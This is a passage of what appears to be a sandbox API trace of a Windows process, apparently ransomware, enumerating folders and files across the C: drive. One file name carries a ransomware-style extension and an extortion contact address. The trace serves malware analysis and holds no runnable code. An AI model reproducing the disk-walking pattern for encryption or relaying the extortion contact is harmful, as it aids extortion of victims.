[0272.439] GetLastError () returned 0x12 [0272.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.439] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.439] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.439] GetLastError () returned 0x12 [0272.439] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.439] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.439] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.439] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0272.439] GetLastError () returned 0x12 [0272.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.440] GetLastError () returned 0x12 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.440] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.440] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0272.440] GetLastError () returned 0x12 [0272.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.440] GetLastError () returned 0x12 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.440] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.440] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0272.440] GetLastError () returned 0x12 [0272.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.440] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.440] GetLastError () returned 0x12 [0272.441] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.441] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.441] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.441] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0272.441] GetLastError () returned 0x12 [0272.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.441] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.441] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.441] GetLastError () returned 0x12 [0272.441] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.441] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.441] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.441] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0272.441] FindClose (in: hFindFile=0x806ad8 | out: hFindFile=0x806ad8) returned 1 [0272.441] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.441] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9bcfef40, ftCreationTime.dwHighDateTime=0x1d52d10, ftLastAccessTime.dwLowDateTime=0x9bcfef40, ftLastAccessTime.dwHighDateTime=0x1d52d10, ftLastWriteTime.dwLowDateTime=0x9bcfef40, ftLastWriteTime.dwHighDateTime=0x1d52d10, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootex.log", cAlternateFileName="")) returned 1 [0272.441] GetLastError () returned 0x12 [0272.441] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0272.441] GetLastError () returned 0x12 [0272.441] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x89784fb0, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x89784fb0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89784fb0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="BOOTSE~1.ACU")) returned 1 [0272.441] GetLastError () returned 0x12 [0272.441] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c20de00, ftCreationTime.dwHighDateTime=0x1d52d10, ftLastAccessTime.dwLowDateTime=0x9c20de00, ftLastAccessTime.dwHighDateTime=0x1d52d10, ftLastWriteTime.dwLowDateTime=0x9c20de00, ftLastWriteTime.dwHighDateTime=0x1d52d10, nFileSizeHigh=0x0, nFileSizeLow=0xcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootsqm.dat", cAlternateFileName="")) returned 1 [0272.442] GetLastError () returned 0x12 [0272.442] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0272.442] GetLastError () returned 0x12 [0272.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xfc30\x385\xc8c8\x351\x5c\x5c\x3f\x5c\xc8d6\x351\xf980\x385\x39c8\x117\x08\x01\xc8d0\x351")) returned 0xffffffff [0272.442] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0272.442] GetLastError () returned 0x5 [0272.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xfc30\x385\xc8c8\x351\x5c\x5c\x3f\x5c\xc8d6\x351\xf980\x385\x39c8\x117\x08\x01\xc8d0\x351")) returned 0xffffffff [0272.442] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x472fd8e0, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0272.442] GetLastError () returned 0x5 [0272.442] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0272.442] GetLastError () returned 0x5 [0272.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xfc30\x385\xc8c8\x351\x5c\x5c\x3f\x5c\xc8d6\x351\xf980\x385\x39c8\x117\x08\x01\xc8d0\x351")) returned 0xffffffff [0272.442] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x46ce4080, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0272.442] GetLastError () returned 0x5 [0272.443] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0272.443] GetLastError () returned 0x5 [0272.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xfc30\x385\xc8c8\x351\x5c\x5c\x3f\x5c\xc8d6\x351\xf980\x385\x39c8\x117\x08\x01\xc8d0\x351")) returned 0xffffffff [0272.443] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.443] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0272.443] GetLastError () returned 0x5 [0272.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806ad8 [0272.443] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, 